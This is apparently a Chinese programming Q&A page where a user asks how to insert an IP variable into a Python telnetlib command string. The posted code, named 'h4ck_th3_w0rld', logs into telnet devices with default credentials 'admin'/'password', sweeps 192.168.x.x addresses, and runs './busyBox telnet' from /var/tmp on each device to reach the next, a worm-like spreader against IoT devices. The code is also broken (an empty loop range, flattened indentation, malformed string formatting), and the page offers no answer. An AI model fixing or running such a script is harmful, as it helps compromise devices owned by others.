问题描述
大家好,我使用telnetlib.Telnet函数连接到telnet设备,但是我不知道如何在写函数末尾添加变量,这是我的代码
def h4ck_th3_w0rld(HOST):
user = 'admin'
password = 'password'
tn = None
try:
tn = telnetlib.Telnet(HOST,23,11)
tn.read_until("Username: ",7)
tn.write(user + "\n")
if password:
tn.read_until("Password: ",7)
tn.write(password + "\n")
for i in range(100,256):
for j in range(7,7):
ip_addressa = '192.168.%d.%d' % (j,i)
h4ck_th3_w0rld(ip_addressa)
print(ip_addressa)
tn.write("cd /var/tmp\n")
tn.write("./busyBox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
tn.write("exit\n")
我需要要求看起来像这样
./busyBox telnet 192.168.7.100
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)